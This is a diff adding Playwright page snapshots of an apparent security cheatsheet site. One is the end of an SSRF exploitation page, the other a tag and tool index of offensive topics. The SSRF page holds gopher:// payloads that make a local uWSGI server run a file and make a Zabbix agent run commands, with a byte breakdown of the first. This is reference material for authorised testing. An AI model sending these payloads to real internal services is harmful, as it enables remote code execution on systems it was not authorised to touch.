+            - button "Copy" [ref=f6e1724] [cursor=pointer]
+          - code [ref=f6e1729]:
+            - generic [ref=f6e1730]: gopher://localhost:8000/_%00%1A%00%00%0A%00UWSGI_FILE%0C%00/tmp/test.py
+        - table [ref=f6e1732]:
+          - rowgroup [ref=f6e1733]:
+            - row [ref=f6e1734]:
+              - columnheader "Header" [ref=f6e1735]
+              - columnheader [ref=f6e1736]
+              - columnheader [ref=f6e1737]
+          - rowgroup [ref=f6e1738]:
+            - row [ref=f6e1739]:
+              - cell "modifier1" [ref=f6e1740]
+              - cell "(1 byte)" [ref=f6e1741]
+              - cell "0 (%00)" [ref=f6e1742]
+            - row [ref=f6e1743]:
+              - cell "datasize" [ref=f6e1744]
+              - cell "(2 bytes)" [ref=f6e1745]
+              - cell "26 (%1A%00)" [ref=f6e1746]
+            - row [ref=f6e1747]:
+              - cell "modifier2" [ref=f6e1748]
+              - cell "(1 byte)" [ref=f6e1749]
+              - cell "0 (%00)" [ref=f6e1750]
+        - table [ref=f6e1752]:
+          - rowgroup [ref=f6e1753]:
+            - row [ref=f6e1754]:
+              - columnheader "Variable (UWSGI_FILE)" [ref=f6e1755]
+              - columnheader [ref=f6e1756]
+              - columnheader [ref=f6e1757]
+              - columnheader [ref=f6e1758]
+          - rowgroup [ref=f6e1759]:
+            - row [ref=f6e1760]:
+              - cell "key length" [ref=f6e1761]
+              - cell "(2 bytes)" [ref=f6e1762]
+              - cell "10" [ref=f6e1763]
+              - cell "(%0A%00)" [ref=f6e1764]
+            - row [ref=f6e1765]:
+              - cell "key data" [ref=f6e1766]
+              - cell "(m bytes)" [ref=f6e1767]
+              - cell [ref=f6e1768]
+              - cell "UWSGI_FILE" [ref=f6e1769]
+            - row [ref=f6e1770]:
+              - cell "value length" [ref=f6e1771]
+              - cell "(2 bytes)" [ref=f6e1772]
+              - cell "12" [ref=f6e1773]
+              - cell "(%0C%00)" [ref=f6e1774]
+            - row [ref=f6e1775]:
+              - cell "value data" [ref=f6e1776]
+              - cell "(n bytes)" [ref=f6e1777]
+              - cell [ref=f6e1778]
+              - cell "/tmp/test.py" [ref=f6e1779]
+        - heading "Zabbix" [level=2] [ref=f6e1780]
+        - paragraph [ref=f6e1781]:
+          - text: If
+          - code [ref=f6e1782]: EnableRemoteCommands=1
+          - text: is enabled in the Zabbix Agent configuration, it allows the execution of remote commands.
+        - figure "ps1 Copy" [ref=f6e1783]:
+          - generic [ref=f6e1784]:
+            - generic [ref=f6e1785]: ps1
+            - button "Copy" [ref=f6e1786] [cursor=pointer]
+          - code [ref=f6e1791]:
+            - generic [ref=f6e1792]: gopher://127.0.0.1:10050/_system.run%5B%28id%29%3Bsleep%202s%5D
+        - heading "References" [level=2] [ref=f6e1793]
+        - list [ref=f6e1794]:
+          - listitem [ref=f6e1795]:
+            - link "SSRFmap - Introducing the AXFR Module - Swissky - June 13, 2024" [ref=f6e1796] [cursor=pointer]:
+              - /url: https://web.archive.org/web/20240614121446/https://swisskyrepo.github.io/SSRFmap-axfr/
+          - listitem [ref=f6e1797]:
+            - link "How I Converted SSRF to XSS in Jira - Ashish Kunwar - June 1, 2018" [ref=f6e1798] [cursor=pointer]:
+              - /url: https://web.archive.org/web/20251116223629/https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158
+          - listitem [ref=f6e1799]:
+            - link "Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024" [ref=f6e1800] [cursor=pointer]:
+              - /url: https://vozec.fr/writeups/pong-fcsc2024-en/
+          - listitem [ref=f6e1801]:
+            - link "Pong [EN] | FCSC 2024 - KΓ©vin - Mizu (@kevin_mizu) - April 13, 2024" [ref=f6e1802] [cursor=pointer]:
+              - /url: https://mizu.re/post/pong
+      - navigation "Pagination" [ref=f6e1803]:
+        - link [ref=f6e1804] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery
+          - text: ← Prev
+          - strong [ref=f6e1805]: Server-Side Request Forgery
+        - link [ref=f6e1806] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads/server-side-request-forgery/ssrf-cloud-instances
+          - text: Next β†’
+          - strong [ref=f6e1807]: SSRF URL for Cloud Instances
+  - contentinfo [ref=f6e1808]:
+    - generic [ref=f6e1809]:
+      - generic [ref=f6e1810]:
+        - link "DÆMON // SEC" [ref=f6e1811] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f6e1812]: //
+          - text: SEC
+        - paragraph [ref=f6e1813]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f6e1814]:
+        - link "daemon-404.github.io β†—" [ref=f6e1815] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f6e1816] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f6e1817]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f6e1818] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f6e1819] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f6e1820]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f6e1821]: RosΓ© Pine Β· Astro Β· Pagefind
+  - generic [ref=f6e1822]: SSRF Advanced Exploitation — Payloads — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-10-36-774Z.yml b/.playwright-mcp/page-2026-08-10T08-10-36-774Z.yml
@@ -0,0 +1,765 @@
+- generic [active] [ref=f6e1823]:
+  - banner [ref=f6e1824]:
+    - generic [ref=f6e1825]:
+      - link "DÆMON//SEC home" [ref=f6e1826] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f6e1827]: //
+        - text: SEC
+        - generic [ref=f6e1828]: _
+      - navigation "Primary" [ref=f6e1829]:
+        - link "01 Vault" [ref=f6e1830] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f6e1831]: "01"
+          - generic [ref=f6e1832]: Vault
+        - link "02 Payloads" [ref=f6e1833] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f6e1834]: "02"
+          - generic [ref=f6e1835]: Payloads
+        - link "03 Tags" [ref=f6e1836] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f6e1837]: "03"
+          - generic [ref=f6e1838]: Tags
+        - link "04 Credits" [ref=f6e1839] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f6e1840]: "04"
+          - generic [ref=f6e1841]: Credits
+      - generic [ref=f6e1842]:
+        - button "Search cheatsheets" [ref=f6e1843] [cursor=pointer]:
+          - generic [ref=f6e1846]: Search
+          - generic [ref=f6e1847]: /
+        - button "Toggle theme" [ref=f6e1848] [cursor=pointer]
+        - link "DÆMON main site" [ref=f6e1853] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f6e1856] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f6e1859]:
+    - generic [ref=f6e1862]:
+      - generic [ref=f6e1863]:
+        - paragraph [ref=f6e1864]:
+          - generic [ref=f6e1865]: "04"
+          - generic [ref=f6e1866]: "^:"
+          - generic [ref=f6e1867]: Cross-reference
+        - heading "Tags & Tools" [level=1] [ref=f6e1869]
+        - paragraph [ref=f6e1870]: Jump into the vault by topic or by the tool you're reaching for.
+      - generic [ref=f6e1871]:
+        - generic [ref=f6e1872]:
+          - term [ref=f6e1873]: Tags
+          - definition [ref=f6e1874]: "96"
+        - generic [ref=f6e1875]:
+          - term [ref=f6e1876]: Tools
+          - definition [ref=f6e1877]: "95"
+    - generic [ref=f6e1878]:
+      - navigation [ref=f6e1879]:
+        - link "~" [ref=f6e1880] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+        - generic [ref=f6e1881]: /
+        - generic [ref=f6e1882]: index
+      - generic [ref=f6e1883]:
+        - generic [ref=f6e1885]:
+          - paragraph [ref=f6e1886]:
+            - generic [ref=f6e1887]: "01"
+            - generic [ref=f6e1888]: "^:"
+            - generic [ref=f6e1889]: 96 tags
+          - heading "By tag" [level=2] [ref=f6e1890]
+        - generic [ref=f6e1891]:
+          - link "active-directory 130" [ref=f6e1892] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/active-directory
+            - text: active-directory
+            - generic [ref=f6e1893]: "130"
+          - link "adcs 74" [ref=f6e1894] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/adcs
+            - text: adcs
+            - generic [ref=f6e1895]: "74"
+          - link "privilege-escalation 46" [ref=f6e1896] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/privilege-escalation
+            - text: privilege-escalation
+            - generic [ref=f6e1897]: "46"
+          - link "kerberos 45" [ref=f6e1898] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/kerberos
+            - text: kerberos
+            - generic [ref=f6e1899]: "45"
+          - link "hashing 32" [ref=f6e1900] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashing
+            - text: hashing
+            - generic [ref=f6e1901]: "32"
+          - link "credential-access 30" [ref=f6e1902] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credential-access
+            - text: credential-access
+            - generic [ref=f6e1903]: "30"
+          - link "enumeration 25" [ref=f6e1904] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/enumeration
+            - text: enumeration
+            - generic [ref=f6e1905]: "25"
+          - link "ntlm 20" [ref=f6e1906] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ntlm
+            - text: ntlm
+            - generic [ref=f6e1907]: "20"
+          - link "lateral-movement 15" [ref=f6e1908] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lateral-movement
+            - text: lateral-movement
+            - generic [ref=f6e1909]: "15"
+          - link "persistence 14" [ref=f6e1910] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/persistence
+            - text: persistence
+            - generic [ref=f6e1911]: "14"
+          - link "web 14" [ref=f6e1912] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/web
+            - text: web
+            - generic [ref=f6e1913]: "14"
+          - link "relay 12" [ref=f6e1914] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/relay
+            - text: relay
+            - generic [ref=f6e1915]: "12"
+          - link "delegation 11" [ref=f6e1916] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/delegation
+            - text: delegation
+            - generic [ref=f6e1917]: "11"
+          - link "sql-injection 11" [ref=f6e1918] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/sql-injection
+            - text: sql-injection
+            - generic [ref=f6e1919]: "11"
+          - link "tools 10" [ref=f6e1920] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tools
+            - text: tools
+            - generic [ref=f6e1921]: "10"
+          - link "post-exploitation 8" [ref=f6e1922] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/post-exploitation
+            - text: post-exploitation
+            - generic [ref=f6e1923]: "8"
+          - link "exploitation 7" [ref=f6e1924] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/exploitation
+            - text: exploitation
+            - generic [ref=f6e1925]: "7"
+          - link "pivoting 7" [ref=f6e1926] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pivoting
+            - text: pivoting
+            - generic [ref=f6e1927]: "7"
+          - link "linux 5" [ref=f6e1928] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux
+            - text: linux
+            - generic [ref=f6e1929]: "5"
+          - link "linux-it 5" [ref=f6e1930] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/linux-it
+            - text: linux-it
+            - generic [ref=f6e1931]: "5"
+          - link "tunneling 5" [ref=f6e1932] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling
+            - text: tunneling
+            - generic [ref=f6e1933]: "5"
+          - link "windows 5" [ref=f6e1934] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/windows
+            - text: windows
+            - generic [ref=f6e1935]: "5"
+          - link "credentials 4" [ref=f6e1936] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/credentials
+            - text: credentials
+            - generic [ref=f6e1937]: "4"
+          - link "dfir 4" [ref=f6e1938] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dfir
+            - text: dfir
+            - generic [ref=f6e1939]: "4"
+          - link "xss 4" [ref=f6e1940] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/xss
+            - text: xss
+            - generic [ref=f6e1941]: "4"
+          - link "certificates 3" [ref=f6e1942] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/certificates
+            - text: certificates
+            - generic [ref=f6e1943]: "3"
+          - link "cracking 3" [ref=f6e1944] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cracking
+            - text: cracking
+            - generic [ref=f6e1945]: "3"
+          - link "cryptography 3" [ref=f6e1946] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cryptography
+            - text: cryptography
+            - generic [ref=f6e1947]: "3"
+          - link "git 3" [ref=f6e1948] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git
+            - text: git
+            - generic [ref=f6e1949]: "3"
+          - link "injection 3" [ref=f6e1950] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/injection
+            - text: injection
+            - generic [ref=f6e1951]: "3"
+          - link "network 3" [ref=f6e1952] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network
+            - text: network
+            - generic [ref=f6e1953]: "3"
+          - link "password-attacks 3" [ref=f6e1954] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/password-attacks
+            - text: password-attacks
+            - generic [ref=f6e1955]: "3"
+          - link "smb 3" [ref=f6e1956] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/smb
+            - text: smb
+            - generic [ref=f6e1957]: "3"
+          - link "tunneling-pivoting 3" [ref=f6e1958] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tunneling-pivoting
+            - text: tunneling-pivoting
+            - generic [ref=f6e1959]: "3"
+          - link "workflow 3" [ref=f6e1960] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/workflow
+            - text: workflow
+            - generic [ref=f6e1961]: "3"
+          - link "brute-force 2" [ref=f6e1962] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/brute-force
+            - text: brute-force
+            - generic [ref=f6e1963]: "2"
+          - link "cli 2" [ref=f6e1964] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/cli
+            - text: cli
+            - generic [ref=f6e1965]: "2"
+          - link "forensics 2" [ref=f6e1966] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/forensics
+            - text: forensics
+            - generic [ref=f6e1967]: "2"
+          - link "git-workflow 2" [ref=f6e1968] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/git-workflow
+            - text: git-workflow
+            - generic [ref=f6e1969]: "2"
+          - link "hashes 2" [ref=f6e1970] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/hashes
+            - text: hashes
+            - generic [ref=f6e1971]: "2"
+          - link "ldap 2" [ref=f6e1972] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ldap
+            - text: ldap
+            - generic [ref=f6e1973]: "2"
+          - link "osint 2" [ref=f6e1974] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/osint
+            - text: osint
+            - generic [ref=f6e1975]: "2"
+          - link "port-forwarding 2" [ref=f6e1976] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-forwarding
+            - text: port-forwarding
+            - generic [ref=f6e1977]: "2"
+          - link "port-scanning 2" [ref=f6e1978] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/port-scanning
+            - text: port-scanning
+            - generic [ref=f6e1979]: "2"
+          - link "productivity 2" [ref=f6e1980] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/productivity
+            - text: productivity
+            - generic [ref=f6e1981]: "2"
+          - link "recon 2" [ref=f6e1982] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recon
+            - text: recon
+            - generic [ref=f6e1983]: "2"
+          - link "scanning 2" [ref=f6e1984] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/scanning
+            - text: scanning
+            - generic [ref=f6e1985]: "2"
+          - link "shares 2" [ref=f6e1986] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shares
+            - text: shares
+            - generic [ref=f6e1987]: "2"
+          - link "spraying 2" [ref=f6e1988] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/spraying
+            - text: spraying
+            - generic [ref=f6e1989]: "2"
+          - link "terminal 2" [ref=f6e1990] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/terminal
+            - text: terminal
+            - generic [ref=f6e1991]: "2"
+          - link "tooling 2" [ref=f6e1992] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tooling
+            - text: tooling
+            - generic [ref=f6e1993]: "2"
+          - link "acl-abuse 1" [ref=f6e1994] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/acl-abuse
+            - text: acl-abuse
+            - generic [ref=f6e1995]: "1"
+          - link "binary 1" [ref=f6e1996] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/binary
+            - text: binary
+            - generic [ref=f6e1997]: "1"
+          - link "branching 1" [ref=f6e1998] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/branching
+            - text: branching
+            - generic [ref=f6e1999]: "1"
+          - link "buffer-overflow 1" [ref=f6e2000] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/buffer-overflow
+            - text: buffer-overflow
+            - generic [ref=f6e2001]: "1"
+          - link "c2 1" [ref=f6e2002] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/c2
+            - text: c2
+            - generic [ref=f6e2003]: "1"
+          - link "coercion 1" [ref=f6e2004] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/coercion
+            - text: coercion
+            - generic [ref=f6e2005]: "1"
+          - link "commands 1" [ref=f6e2006] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/commands
+            - text: commands
+            - generic [ref=f6e2007]: "1"
+          - link "defense 1" [ref=f6e2008] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/defense
+            - text: defense
+            - generic [ref=f6e2009]: "1"
+          - link "dotnet 1" [ref=f6e2010] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/dotnet
+            - text: dotnet
+            - generic [ref=f6e2011]: "1"
+          - link "encryption 1" [ref=f6e2012] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/encryption
+            - text: encryption
+            - generic [ref=f6e2013]: "1"
+          - link "esc 1" [ref=f6e2014] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/esc
+            - text: esc
+            - generic [ref=f6e2015]: "1"
+          - link "file-inclusion 1" [ref=f6e2016] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-inclusion
+            - text: file-inclusion
+            - generic [ref=f6e2017]: "1"
+          - link "file-transfer 1" [ref=f6e2018] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/file-transfer
+            - text: file-transfer
+            - generic [ref=f6e2019]: "1"
+          - link "framework 1" [ref=f6e2020] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/framework
+            - text: framework
+            - generic [ref=f6e2021]: "1"
+          - link "fuzzing 1" [ref=f6e2022] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/fuzzing
+            - text: fuzzing
+            - generic [ref=f6e2023]: "1"
+          - link "graph 1" [ref=f6e2024] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/graph
+            - text: graph
+            - generic [ref=f6e2025]: "1"
+          - link "http 1" [ref=f6e2026] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/http
+            - text: http
+            - generic [ref=f6e2027]: "1"
+          - link "identification 1" [ref=f6e2028] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/identification
+            - text: identification
+            - generic [ref=f6e2029]: "1"
+          - link "incident-response 1" [ref=f6e2030] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/incident-response
+            - text: incident-response
+            - generic [ref=f6e2031]: "1"
+          - link "internal 1" [ref=f6e2032] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/internal
+            - text: internal
+            - generic [ref=f6e2033]: "1"
+          - link "lfi 1" [ref=f6e2034] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/lfi
+            - text: lfi
+            - generic [ref=f6e2035]: "1"
+          - link "macos 1" [ref=f6e2036] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/macos
+            - text: macos
+            - generic [ref=f6e2037]: "1"
+          - link "malware 1" [ref=f6e2038] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/malware
+            - text: malware
+            - generic [ref=f6e2039]: "1"
+          - link "memory-forensics 1" [ref=f6e2040] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/memory-forensics
+            - text: memory-forensics
+            - generic [ref=f6e2041]: "1"
+          - link "methodology 1" [ref=f6e2042] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/methodology
+            - text: methodology
+            - generic [ref=f6e2043]: "1"
+          - link "network-forensics 1" [ref=f6e2044] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/network-forensics
+            - text: network-forensics
+            - generic [ref=f6e2045]: "1"
+          - link "offensive 1" [ref=f6e2046] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/offensive
+            - text: offensive
+            - generic [ref=f6e2047]: "1"
+          - link "pcap 1" [ref=f6e2048] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pcap
+            - text: pcap
+            - generic [ref=f6e2049]: "1"
+          - link "permissions 1" [ref=f6e2050] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/permissions
+            - text: permissions
+            - generic [ref=f6e2051]: "1"
+          - link "pgp 1" [ref=f6e2052] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/pgp
+            - text: pgp
+            - generic [ref=f6e2053]: "1"
+          - link "phishing 1" [ref=f6e2054] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/phishing
+            - text: phishing
+            - generic [ref=f6e2055]: "1"
+          - link "recovery 1" [ref=f6e2056] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/recovery
+            - text: recovery
+            - generic [ref=f6e2057]: "1"
+          - link "red-team 1" [ref=f6e2058] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/red-team
+            - text: red-team
+            - generic [ref=f6e2059]: "1"
+          - link "registry 1" [ref=f6e2060] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/registry
+            - text: registry
+            - generic [ref=f6e2061]: "1"
+          - link "rfi 1" [ref=f6e2062] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/rfi
+            - text: rfi
+            - generic [ref=f6e2063]: "1"
+          - link "screenshots 1" [ref=f6e2064] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/screenshots
+            - text: screenshots
+            - generic [ref=f6e2065]: "1"
+          - link "search 1" [ref=f6e2066] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/search
+            - text: search
+            - generic [ref=f6e2067]: "1"
+          - link "shells 1" [ref=f6e2068] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/shells
+            - text: shells
+            - generic [ref=f6e2069]: "1"
+          - link "ssh 1" [ref=f6e2070] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/ssh
+            - text: ssh
+            - generic [ref=f6e2071]: "1"
+          - link "tickets 1" [ref=f6e2072] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tickets
+            - text: tickets
+            - generic [ref=f6e2073]: "1"
+          - link "tls 1" [ref=f6e2074] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/tls
+            - text: tls
+            - generic [ref=f6e2075]: "1"
+          - link "undo 1" [ref=f6e2076] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/undo
+            - text: undo
+            - generic [ref=f6e2077]: "1"
+          - link "version-control 1" [ref=f6e2078] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/version-control
+            - text: version-control
+            - generic [ref=f6e2079]: "1"
+          - link "vulnerabilities 1" [ref=f6e2080] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/vulnerabilities
+            - text: vulnerabilities
+            - generic [ref=f6e2081]: "1"
+          - link "wordpress 1" [ref=f6e2082] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/tags/wordpress
+            - text: wordpress
+            - generic [ref=f6e2083]: "1"
+      - generic [ref=f6e2084]:
+        - generic [ref=f6e2086]:
+          - paragraph [ref=f6e2087]:
+            - generic [ref=f6e2088]: "02"
+            - generic [ref=f6e2089]: "^:"
+            - generic [ref=f6e2090]: 95 tools
+          - heading "By tool" [level=2] [ref=f6e2091]
+        - generic [ref=f6e2092]:
+          - generic [ref=f6e2093]:
+            - text: Impacket
+            - generic [ref=f6e2094]: "75"
+          - generic [ref=f6e2095]:
+            - text: PowerShell
+            - generic [ref=f6e2096]: "71"
+          - generic [ref=f6e2097]:
+            - text: Certipy
+            - generic [ref=f6e2098]: "52"
+          - generic [ref=f6e2099]:
+            - text: NetExec
+            - generic [ref=f6e2100]: "48"
+          - generic [ref=f6e2101]:
+            - text: Mimikatz
+            - generic [ref=f6e2102]: "47"
+          - generic [ref=f6e2103]:
+            - text: Rubeus
+            - generic [ref=f6e2104]: "43"
+          - generic [ref=f6e2105]:
+            - text: BloodHound
+            - generic [ref=f6e2106]: "33"
+          - generic [ref=f6e2107]:
+            - text: Evil-WinRM
+            - generic [ref=f6e2108]: "20"
+          - generic [ref=f6e2109]:
+            - text: OpenSSL
+            - generic [ref=f6e2110]: "17"
+          - generic [ref=f6e2111]:
+            - text: Nmap
+            - generic [ref=f6e2112]: "16"
+          - generic [ref=f6e2113]:
+            - text: Metasploit
+            - generic [ref=f6e2114]: "13"
+          - generic [ref=f6e2115]:
+            - text: Certify
+            - generic [ref=f6e2116]: "11"
+          - generic [ref=f6e2117]:
+            - text: Hashcat
+            - generic [ref=f6e2118]: "11"
+          - generic [ref=f6e2119]:
+            - text: ldapsearch
+            - generic [ref=f6e2120]: "10"
+          - generic [ref=f6e2121]:
+            - text: Meterpreter
+            - generic [ref=f6e2122]: "7"
+          - generic [ref=f6e2123]:
+            - text: faketime
+            - generic [ref=f6e2124]: "5"
+          - generic [ref=f6e2125]:
+            - text: John
+            - generic [ref=f6e2126]: "5"
+          - generic [ref=f6e2127]:
+            - text: Responder
+            - generic [ref=f6e2128]: "4"
+          - generic [ref=f6e2129]:
+            - text: socat
+            - generic [ref=f6e2130]: "4"
+          - generic [ref=f6e2131]:
+            - text: Chisel
+            - generic [ref=f6e2132]: "3"
+          - generic [ref=f6e2133]:
+            - text: ffuf
+            - generic [ref=f6e2134]: "3"
+          - generic [ref=f6e2135]:
+            - text: git
+            - generic [ref=f6e2136]: "3"
+          - generic [ref=f6e2137]:
+            - text: Gitleaks
+            - generic [ref=f6e2138]: "3"
+          - generic [ref=f6e2139]:
+            - text: Kerbrute
+            - generic [ref=f6e2140]: "3"
+          - generic [ref=f6e2141]:
+            - text: Ligolo-ng
+            - generic [ref=f6e2142]: "3"
+          - generic [ref=f6e2143]:
+            - text: CrackMapExec
+            - generic [ref=f6e2144]: "2"
+          - generic [ref=f6e2145]:
+            - text: curl
+            - generic [ref=f6e2146]: "2"
+          - generic [ref=f6e2147]:
+            - text: Gobuster
+            - generic [ref=f6e2148]: "2"
+          - generic [ref=f6e2149]:
+            - text: GPG
+            - generic [ref=f6e2150]: "2"
+          - generic [ref=f6e2151]:
+            - text: Nuclei
+            - generic [ref=f6e2152]: "2"
+          - generic [ref=f6e2153]:
+            - text: SharpHound
+            - generic [ref=f6e2154]: "2"
+          - generic [ref=f6e2155]:
+            - text: Snaffler
+            - generic [ref=f6e2156]: "2"
+          - generic [ref=f6e2157]:
+            - text: SQLMap
+            - generic [ref=f6e2158]: "2"
+          - generic [ref=f6e2159]:
+            - text: SSH
+            - generic [ref=f6e2160]: "2"
+          - generic [ref=f6e2161]:
+            - text: TruffleHog
+            - generic [ref=f6e2162]: "2"
+          - generic [ref=f6e2163]:
+            - text: Autopsy
+            - generic [ref=f6e2164]: "1"
+          - generic [ref=f6e2165]:
+            - text: bloodhound-python
+            - generic [ref=f6e2166]: "1"
+          - generic [ref=f6e2167]:
+            - text: BloodyAD
+            - generic [ref=f6e2168]: "1"
+          - generic [ref=f6e2169]:
+            - text: Burp Suite
+            - generic [ref=f6e2170]: "1"
